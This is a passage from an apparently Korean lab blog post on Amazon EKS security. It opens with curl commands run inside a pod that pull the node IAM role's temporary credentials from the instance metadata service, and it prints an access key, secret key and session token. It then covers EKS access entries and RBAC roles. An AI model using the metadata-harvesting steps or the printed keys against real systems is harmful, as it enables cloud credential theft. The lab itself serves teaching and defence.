curl -s -X PUT &quot;http://169.254.169.254/latest/api/token&quot; -H &quot;X-aws-ec2-metadata-token-ttl-seconds: 21600&quot; ; echo
curl -s -X PUT &quot;http://169.254.169.254/latest/api/token&quot; -H &quot;X-aws-ec2-metadata-token-ttl-seconds: 21600&quot; ; echo

# Token을 이용한 IMDSv2 사용
TOKEN=$(curl -s -X PUT &quot;http://169.254.169.254/latest/api/token&quot; -H &quot;X-aws-ec2-metadata-token-ttl-seconds: 21600&quot;)
echo $TOKEN
curl -s -H &quot;X-aws-ec2-metadata-token: $TOKEN&quot; &amp;ndash;v http://169.254.169.254/ ; echo
curl -s -H &quot;X-aws-ec2-metadata-token: $TOKEN&quot; &amp;ndash;v http://169.254.169.254/latest/ ; echo
curl -s -H &quot;X-aws-ec2-metadata-token: $TOKEN&quot; &amp;ndash;v http://169.254.169.254/latest/meta-data/iam/security-credentials/ ; echo

# 위에서 출력된 IAM Role을 아래 입력 후 확인
curl -s -H &quot;X-aws-ec2-metadata-token: $TOKEN&quot; &amp;ndash;v http://169.254.169.254/latest/meta-data/iam/security-credentials/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-1DC6Y2GRDAJHK
{
  &quot;Code&quot; : &quot;Success&quot;,
  &quot;LastUpdated&quot; : &quot;2023-05-27T05:08:07Z&quot;,
  &quot;Type&quot; : &quot;AWS-HMAC&quot;,
  &quot;AccessKeyId&quot; : &quot;ASIA5ILF2FJI5VPIYJHP&quot;,
  &quot;SecretAccessKey&quot; : &quot;rke6HXkaG4B/YLGUyAYtDnd3eMrjXlCpiB4h+9XJ&quot;,
  &quot;Token&quot; : &quot;IQoJb3JpZ2luX2VjEAUaDmFwLW5vcnRoZWFzdC0yIkcwRQIhAOLQr2c2k4UwqTR2Iof2wq9Faduno1a2FX07ASHsO/rCAiAvCqQRv/JrSDZNZKNMloaBTR4s91O+RNWfSlfNluimmirLBQg+EAEaDDkxMTI4MzQ2NDc4NSIM1/RJmwkWziNhz8TEKqgFZZr1FpwHmLWNzdCdbNxtPk/YhbqbED6JzFiWJssqdRq4UniamoGrkV75oaf7o0CXQTlgK7r6f07goYA268UlqGx9XHKmeSoUt3ZTG79B1BIiSW22JVFzs4/fMpcwQLFv1lJKcGOqKehXrlq4yQ2zln4QTi/S30rp2ARiUfjgdp2+gkWKzOVWkdgoKtn3OAfdI/hBJHiz1eDPZsqqzv8eyP6sdo1xHJ6OY7xjLtTHWRaQpt6SStKTzsN88sJi9NebBXV63FJ6EkGNaC7eFo/nq9xZtGJqsu3PEuseadl8a8LJzOfNO0NP+4p8o0fMV4oeKSItZUIu88CvinvGd3bp1FWlVItDsGwjo6qOTxCg2ov6p7cAbTudEA5AwSjDlHm/BX08JN4XN7kDKtBQhHoWRbeI3suqZmtLPrSu5NCfgVu2jJpMiwOEhVV9W+fBUica345sIp94qIVVwrVbDnuLC0QDSXKxD+GRhcqdtA54QmUodqxv/bEUlRy1wVUty7Umucxl3B6MYBVSXR7PRzcf2U3vvqbJDJAT5dhFTRI1gK1YcXLzpT1T3wluMsyMPFpEWYMe/QEDAn0UwJ55pZt2pKohioiLJ3amWfNUhzoDkmXXZhAOM71e8gUVdrtAVcnl30MTDjHlIWIOBWrVMshunM5Wfmr4H4BAV+8of6xGz5AhoodWNVE+/x+XifO6h9l+Plwq24Jp8SbiCF3ZFQVe20ijsfDqK6SFAveL4vcVz7sEGLTZXLNLycgeGQmcvkb7Mmmoir/9UwNCWFWBbWXZfsEbNfSLhInw+k53FLb5I+axJPhEDSE5Iqmu+cuvoZfLy+bOailVgQN/jX6vZSL3ihhJwsP7t58urN34tKP+sjOpIBWv2bV2OnntaAqbc24tmc0wjWkaw5IwqKDGowY6sQGFB40kmsXmxihug/yKwcMK/pg5xFknPFO56P6BzErLmt1hcpNF4QBQzh/sdFi7Y/EOh9NqU/XFdFeJLp6KgaxUASLSW/k6ee+RzhbW0aSJb9GYi7tZdArcjg4YaQ6hdXdCFXiYWbNyIMs2MH8APT5jFDnwpbqSnlO2Ao64XY12cm2tMWVH+KTUyLGICHP1az7kD3/tV9glw9rJB2AOL4iA3TTuK+U2o+pHWEHRQOVh3p4=&quot;,
  &quot;Expiration&quot; : &quot;2023-05-27T11:09:07Z&quot;
}
## 출력된 정보는 AWS API를 사용할 수 있는 어느곳에서든지 Expiration 되기전까지 사용 가능

# 파드에서 나오기
exit
---&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;A deep dive into &lt;b&gt;simplified&lt;/b&gt; Amazon &lt;b&gt;EKS access management controls&lt;/b&gt; &amp;amp; &lt;b&gt;Access Management&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Configmap을 사용하여 클러스터 액세스를 관리하면 너무 복잡하고 에러 가능성이 높아 최대한 간단하게 제공하고자 API를 사용합니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;879&quot; data-origin-height=&quot;427&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AYJsv/btsGzDoIo9Y/yppvrQbYFDjcTG9weW0om0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AYJsv/btsGzDoIo9Y/yppvrQbYFDjcTG9weW0om0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AYJsv/btsGzDoIo9Y/yppvrQbYFDjcTG9weW0om0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAYJsv%2FbtsGzDoIo9Y%2FyppvrQbYFDjcTG9weW0om0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;879&quot; height=&quot;427&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;879&quot; data-origin-height=&quot;427&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;EKS &amp;rarr; 액세스 : IAM 액세스 항목&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-11 오후 8.02.24.png&quot; data-origin-width=&quot;2390&quot; data-origin-height=&quot;486&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vUzfq/btsGwdFx3QG/YC8gPeid8giLFiaonLDVC1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vUzfq/btsGwdFx3QG/YC8gPeid8giLFiaonLDVC1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vUzfq/btsGwdFx3QG/YC8gPeid8giLFiaonLDVC1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvUzfq%2FbtsGwdFx3QG%2FYC8gPeid8giLFiaonLDVC1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2390&quot; height=&quot;486&quot; data-filename=&quot;스크린샷 2024-04-11 오후 8.02.24.png&quot; data-origin-width=&quot;2390&quot; data-origin-height=&quot;486&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;EKS &amp;rarr; 액세스 구성 모드 확인 : EKS API 및 ConfigMap (정책 중복 시 EKS API 우선되며 ConfigMap은 무시됩니다.)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;563&quot; data-origin-height=&quot;276&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cQjhgT/btsGw488KNk/9NJQYV0nwGlNkyeGxskDyk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cQjhgT/btsGw488KNk/9NJQYV0nwGlNkyeGxskDyk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cQjhgT/btsGw488KNk/9NJQYV0nwGlNkyeGxskDyk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcQjhgT%2FbtsGw488KNk%2F9NJQYV0nwGlNkyeGxskDyk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;563&quot; height=&quot;276&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;563&quot; data-origin-height=&quot;276&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;기본 정보 확인 : access policy, access entry, associated-access-policy&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1324&quot; data-origin-height=&quot;806&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/F7OEu/btsGwNzPQFO/dBeZFDpYIiFWy2E4d1fzd0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/F7OEu/btsGwNzPQFO/dBeZFDpYIiFWy2E4d1fzd0/img.png&quot; data-alt=&quot;https://docs.aws.amazon.com/eks/latest/userguide/access-policies.html#access-policy-permissions&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/F7OEu/btsGwNzPQFO/dBeZFDpYIiFWy2E4d1fzd0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FF7OEu%2FbtsGwNzPQFO%2FdBeZFDpYIiFWy2E4d1fzd0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1324&quot; height=&quot;806&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1324&quot; data-origin-height=&quot;806&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://docs.aws.amazon.com/eks/latest/userguide/access-policies.html#access-policy-permissions&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1712836075594&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# EKS API 액세스모드로 변경
aws eks update-cluster-config --name $CLUSTER_NAME --access-config authenticationMode=API&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-11 오후 8.47.16.png&quot; data-origin-width=&quot;2008&quot; data-origin-height=&quot;986&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ORloG/btsGxz19qoe/RF1x8ssdPKeFgoJef4cHak/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ORloG/btsGxz19qoe/RF1x8ssdPKeFgoJef4cHak/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ORloG/btsGxz19qoe/RF1x8ssdPKeFgoJef4cHak/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FORloG%2FbtsGxz19qoe%2FRF1x8ssdPKeFgoJef4cHak%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2008&quot; height=&quot;986&quot; data-filename=&quot;스크린샷 2024-04-11 오후 8.47.16.png&quot; data-origin-width=&quot;2008&quot; data-origin-height=&quot;986&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1712836099422&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# List all access policies : 클러스터 액세스 관리를 위해 지원되는 액세스 정책
## AmazonEKSClusterAdminPolicy &amp;ndash; 클러스터 관리자
## AmazonEKSAdminPolicy &amp;ndash; 관리자
## AmazonEKSEditPolicy &amp;ndash; 편집
## AmazonEKSViewPolicy &amp;ndash; 보기
aws eks list-access-policies | jq

# 맵핑 클러스터롤 정보 확인
kubectl get clusterroles -l 'kubernetes.io/bootstrapping=rbac-defaults' | grep -v 'system:'&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-11 오후 8.48.43.png&quot; data-origin-width=&quot;1948&quot; data-origin-height=&quot;1086&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bRENuV/btsGzZd1wsU/oqUhyzYgFjydRGEfQ8P981/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bRENuV/btsGzZd1wsU/oqUhyzYgFjydRGEfQ8P981/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bRENuV/btsGzZd1wsU/oqUhyzYgFjydRGEfQ8P981/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbRENuV%2FbtsGzZd1wsU%2FoqUhyzYgFjydRGEfQ8P981%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1948&quot; height=&quot;1086&quot; data-filename=&quot;스크린샷 2024-04-11 오후 8.48.43.png&quot; data-origin-width=&quot;1948&quot; data-origin-height=&quot;1086&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1712836343823&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;kubectl describe clusterroles admin
kubectl describe clusterroles cluster-admin
kubectl describe clusterroles edit
kubectl describe clusterroles view

aws eks list-access-entries --cluster-name $CLUSTER_NAME | jq

aws eks list-associated-access-policies --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:user/admin | jq

aws eks list-associated-access-policies --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:role/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-t4MD9Py4ZCyK | jq

aws eks describe-access-entry --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:user/admin | jq

aws eks describe-access-entry --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:role/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-t4MD9Py4ZCyK | jq&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;testuser의 권한을 API로 설정&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1712836699468&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# testuser 의 access entry 생성
aws eks create-access-entry --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:user/testuser
aws eks list-access-entries --cluster-name $CLUSTER_NAME | jq -r .accessEntries[]

# testuser에 AmazonEKSClusterAdminPolicy 연동
aws eks associate-access-policy --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:user/testuser \
  --policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSClusterAdminPolicy --access-scope type=cluster

#
aws eks list-associated-access-policies --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:user/testuser | jq
aws eks describe-access-entry --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:user/testuser | jq&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-11 오후 8.59.30.png&quot; data-origin-width=&quot;2506&quot; data-origin-height=&quot;550&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/viRsm/btsGwx4Hgvu/TvIQmNuz47kgOfjhfwZZq0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/viRsm/btsGwx4Hgvu/TvIQmNuz47kgOfjhfwZZq0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/viRsm/btsGwx4Hgvu/TvIQmNuz47kgOfjhfwZZq0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FviRsm%2FbtsGwx4Hgvu%2FTvIQmNuz47kgOfjhfwZZq0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2506&quot; height=&quot;550&quot; data-filename=&quot;스크린샷 2024-04-11 오후 8.59.30.png&quot; data-origin-width=&quot;2506&quot; data-origin-height=&quot;550&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;[myeks-bastion-2]에서 testuser로 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1712836849842&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# testuser 정보 확인
aws sts get-caller-identity --query Arn
kubectl whoami

# kubectl 시도
kubectl get node -v6
kubectl api-resources -v5
kubectl rbac-tool whoami
kubectl auth can-i delete pods --all-namespaces
kubectl get cm -n kube-system aws-auth -o yaml | kubectl neat | yh
eksctl get iamidentitymapping --cluster $CLUSTER_NAME&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span data-token-index=&quot;0&quot;&gt;Access entries and Kubernetes groups&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1712836942680&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 기존 testuser access entry 제거
aws eks delete-access-entry --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:user/testuser
aws eks list-access-entries --cluster-name $CLUSTER_NAME | jq -r .accessEntries[]

# 원하는 권한의 ClusterRole 생성
cat &amp;lt;&amp;lt;EoF&amp;gt; ~/pod-viewer-role.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: pod-viewer-role
rules:
- apiGroups: [&quot;&quot;]
  resources: [&quot;pods&quot;]
  verbs: [&quot;list&quot;, &quot;get&quot;, &quot;watch&quot;]
EoF

cat &amp;lt;&amp;lt;EoF&amp;gt; ~/pod-admin-role.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: pod-admin-role
rules:
- apiGroups: [&quot;&quot;]
  resources: [&quot;pods&quot;]
  verbs: [&quot;*&quot;]
EoF

kubectl apply -f ~/pod-viewer-role.yaml
kubectl apply -f ~/pod-admin-role.yaml

# 롤바인딩
kubectl create clusterrolebinding viewer-role-binding --clusterrole=pod-viewer-role --group=pod-viewer
kubectl create clusterrolebinding admin-role-binding --clusterrole=pod-admin-role --group=pod-admin

#
aws eks create-access-entry --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:user/testuser --kubernetes-group pod-viewer

#
aws eks list-associated-access-policies --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:user/testuser
aws eks describe-access-entry --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:user/testuser | jq&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-11 오후 9.13.14.png&quot; data-origin-width=&quot;2636&quot; data-origin-height=&quot;550&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdPfT7/btsGza1FkwQ/yIT3ZB8QUBuKv2rFExSauk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdPfT7/btsGza1FkwQ/yIT3ZB8QUBuKv2rFExSauk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdPfT7/btsGza1FkwQ/yIT3ZB8QUBuKv2rFExSauk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdPfT7%2FbtsGza1FkwQ%2FyIT3ZB8QUBuKv2rFExSauk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2636&quot; height=&quot;550&quot; data-filename=&quot;스크린샷 2024-04-11 오후 9.13.14.png&quot; data-origin-width=&quot;2636&quot; data-origin-height=&quot;550&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-11 오후 9.14.04.png&quot; data-origin-width=&quot;1992&quot; data-origin-height=&quot;634&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Fidt1/btsGyFtXrWp/6J7p8H4BgdCsFgFDiNokd1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Fidt1/btsGyFtXrWp/6J7p8H4BgdCsFgFDiNokd1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Fidt1/btsGyFtXrWp/6J7p8H4BgdCsFgFDiNokd1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFidt1%2FbtsGyFtXrWp%2F6J7p8H4BgdCsFgFDiNokd1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1992&quot; height=&quot;634&quot; data-filename=&quot;스크린샷 2024-04-11 오후 9.14.04.png&quot; data-origin-width=&quot;1992&quot; data-origin-height=&quot;634&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;[&lt;span data-token-index=&quot;1&quot;&gt;myeks-bastion-2&lt;/span&gt;]에서 &lt;span data-token-index=&quot;3&quot;&gt;testuser&lt;/span&gt;로 확인 : pod-viewer에는 delete 권한 없음&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1712837694600&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# testuser 정보 확인
aws sts get-caller-identity --query Arn
kubectl whoami

# kubectl 시도
kubectl get pod -v6
kubectl api-resources -v5
kubectl auth can-i get pods --all-namespaces
kubectl auth can-i delete pods --all-namespaces&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-11 오후 9.15.46.png&quot; data-origin-width=&quot;1316&quot; data-origin-height=&quot;72&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bsHpSy/btsGwzO1llx/2UER81G8LoJxcQwwoV8Nw1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bsHpSy/btsGwzO1llx/2UER81G8LoJxcQwwoV8Nw1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bsHpSy/btsGwzO1llx/2UER81G8LoJxcQwwoV8Nw1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbsHpSy%2FbtsGwzO1llx%2F2UER81G8LoJxcQwwoV8Nw1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1316&quot; height=&quot;72&quot; data-filename=&quot;스크린샷 2024-04-11 오후 9.15.46.png&quot; data-origin-width=&quot;1316&quot; data-origin-height=&quot;72&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;kubernetesGroups 업데이트 적용 : pod-admin으로 access-entry 업데이트&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1712837828291&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# pod-admin으로 access entry update
aws eks update-access-entry --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:user/testuser --kubernetes-group pod-admin | jq -r .accessEntry

aws eks describe-access-entry --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:user/testuser | jq&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-11 오후 9.18.52.png&quot; data-origin-width=&quot;1908&quot; data-origin-height=&quot;664&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d2x9fo/btsGw2jeYLA/FF80B0LXS2q1zZp0OzQdsk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d2x9fo/btsGw2jeYLA/FF80B0LXS2q1zZp0OzQdsk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d2x9fo/btsGw2jeYLA/FF80B0LXS2q1zZp0OzQdsk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd2x9fo%2FbtsGw2jeYLA%2FFF80B0LXS2q1zZp0OzQdsk%2Fimg.png&quot; onerror=&quot;this.onerror=null; 